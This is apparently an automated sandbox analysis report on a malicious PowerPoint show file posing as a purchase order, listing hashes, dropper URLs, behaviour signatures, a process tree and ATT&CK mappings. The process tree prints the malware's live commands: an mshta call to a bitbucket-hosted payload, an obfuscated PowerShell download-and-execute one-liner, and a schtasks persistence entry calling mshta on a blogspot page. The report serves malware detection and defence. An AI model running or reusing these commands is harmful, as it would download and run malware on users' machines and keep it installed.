Analysis

  • max time kernel
    69s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    08-08-2022 10:30

General

  • Target

    PO#202280894645&637.pps

  • Size

    88KB

  • MD5

    e66f47a0d1972d2bc0c63a66f0a7313f

  • SHA1

    0957f530dafc189bd8f225e766df0af824b0d490

  • SHA256

    d4a17c3071447cee6d6ad443c53ce575af8820533c7c1ede02793bdec211253f

  • SHA512

    d11312fe3bb0c750fa236487fb82cd6803c3e49921192afa9ea25bc640693aba7533afb95955ecfbed0898f4c16dd3fc299bfe9f143c58a87a57c576cffdec41

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://bitbucket.org/!api/2.0/snippets/warzonepro/xE74pL/23b09005fce4aa8ca639c8efece136273f358586/files/devis2

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://bitbucket.org/!api/2.0/snippets/warzonepro/dk7dXq/70e7a3f4486531f18772c32194d7844ae03b17ff/files/devis222.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\PO#202280894645&637.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:820
      • C:\Windows\SysWOW64\MsHTa.exe
        MsHTa http://bitbucket.org/!api/2.0/snippets/warzonepro/xE74pL/23b09005fce4aa8ca639c8efece136273f358586/files/devis2
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://bitbucket.org/!api/2.0/snippets/warzonepro/dk7dXq/70e7a3f4486531f18772c32194d7844ae03b17ff/files/devis222.txt'))));Invoke-Expression $MMMMMMM
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1668
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 300 /tn yandex /F /tr """mshta""""""https://openforce123.blogspot.com/p/devis2back.html"""
          3⤵
          • Creates scheduled task(s)
          PID:544

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/544-92-0x0000000000000000-mapping.dmp
    • memory/816-89-0x0000000000000000-mapping.dmp
    • memory/820-57-0x0000000000000000-mapping.dmp
    • memory/820-59-0x000007FEFBCF1000-0x000007FEFBCF3000-memory.dmp
      Filesize

      8KB

    • memory/1668-95-0x000000006B230000-0x000000006B7DB000-memory.dmp
      Filesize

      5.7MB

    • memory/1668-94-0x000000006B230000-0x000000006B7DB000-memory.dmp
      Filesize

      5.7MB

    • memory/1668-91-0x0000000000000000-mapping.dmp
    • memory/2032-73-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-78-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-63-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-64-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-65-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-66-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-67-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-68-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-70-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-69-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-72-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-71-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-74-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-54-0x0000000074311000-0x0000000074315000-memory.dmp
      Filesize

      16KB

    • memory/2032-76-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-75-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-77-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-62-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-79-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-80-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-81-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-82-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-84-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-83-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-85-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-86-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-87-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-88-0x00000000007A4000-0x00000000007A7000-memory.dmp
      Filesize

      12KB

    • memory/2032-61-0x0000000005845000-0x0000000005849000-memory.dmp
      Filesize

      16KB

    • memory/2032-90-0x000000007232D000-0x0000000072338000-memory.dmp
      Filesize

      44KB

    • memory/2032-60-0x0000000075A81000-0x0000000075A83000-memory.dmp
      Filesize

      8KB

    • memory/2032-58-0x000000007232D000-0x0000000072338000-memory.dmp
      Filesize

      44KB

    • memory/2032-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2032-55-0x0000000071341000-0x0000000071343000-memory.dmp
      Filesize

      8KB